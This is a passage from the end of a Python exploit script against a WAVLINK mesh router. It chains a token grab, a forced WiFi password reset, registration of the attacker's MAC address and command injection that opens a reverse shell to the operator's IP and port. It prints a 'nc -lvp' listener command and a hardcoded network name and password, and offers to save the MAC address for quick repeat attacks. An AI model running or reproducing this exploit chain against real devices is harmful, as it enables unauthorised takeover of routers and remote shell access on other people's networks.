sys.exit(1) # Use the first available wireless adapter interface_name, mac_address, device_type = wireless_adapters[0] print(f"[+] Using wireless adapter: {interface_name} ({mac_address}) - Type: {device_type}") # Step 2: Get authentication token print("[+] Getting authentication token...") token = retrieve_token(args.target, args.port, args.password, args.local_ip, args.local_port) if not token: print("[-] Failed to get authentication token") sys.exit(1) # Step 3: Reset WiFi password print("[+] Resetting WiFi password...") if not reset_wifi_password(args.target, args.port, token, args.password): print("[-] Failed to reset WiFi password") sys.exit(1) # Step 4: Connect to WiFi (REQUIRED - for MAC registration) print("[+] Connecting to WiFi for MAC registration...") print("[+] This will preserve your existing network connections") wifi_connected, mac_address = connect_to_wifi_isolated(interface_name, mac_address, args.ssid, args.password) if not wifi_connected: print("[-] WiFi connection failed - trying exploit anyway...") print("[-] The router may still accept the MAC address if it was previously registered") print("[-] If the exploit fails, manually connect to WiFi first:") print("[-] Network: WAVLINK-Mesh_DC4B, Password: password1") print("[-] Then run the exploit again") # Don't exit - continue with exploit attempt else: print("[+] WiFi connection successful! MAC address is now registered with the router.") # Step 5: Wait for WiFi password reset to take effect and MAC registration print("[+] Waiting 60 seconds for WiFi password reset to take effect and MAC registration...") time.sleep(60) # Step 6: Make logout request and renew token print("[+] Making logout request...") logout_request(args.target, args.port) print("[+] Renewing authentication token...") token = retrieve_token(args.target, args.port, args.password, args.local_ip, args.local_port) if not token: print("[-] Failed to renew authentication token") sys.exit(1) # Step 7: Execute exploit print("[+] Executing exploit...") success = False try: success = inject_command(args.target, args.port, token, args.local_ip, args.local_port, mac_address) if success: print("\n[+] Exploit completed successfully!") print(f"[+] Reverse shell should connect to {args.local_ip}:{args.local_port}") print(f"[+] Make sure you have a listener running: nc -lvp {args.local_port}") # Ask if user wants to save this MAC address for future quick exploits print() response = input(f"[?] Save MAC address {mac_address} for quick future exploits? (y/n): ").lower().strip() if response in ['y', 'yes']: save_successful_mac(mac_address, args.target) print(f"[+] Next time you can use: --force-full to skip this prompt") else: print("\n[-] Exploit failed!") print("[-] The MAC address may not be registered with the router.") print("[-] Try connecting to the WiFi manually first, then run the exploit again.") finally: # Step 9: Clean up WiFi connection (preserves existing network) print("\n[+] Cleaning up WiFi connection...") if 'wifi_connected' in locals() and wifi_connected: disconnect_wifi_cleanly(interface_name) else: print("[+] No WiFi connection to clean up") print("[+] Your existing network connections remain intact") if __name__ == "__main__": main()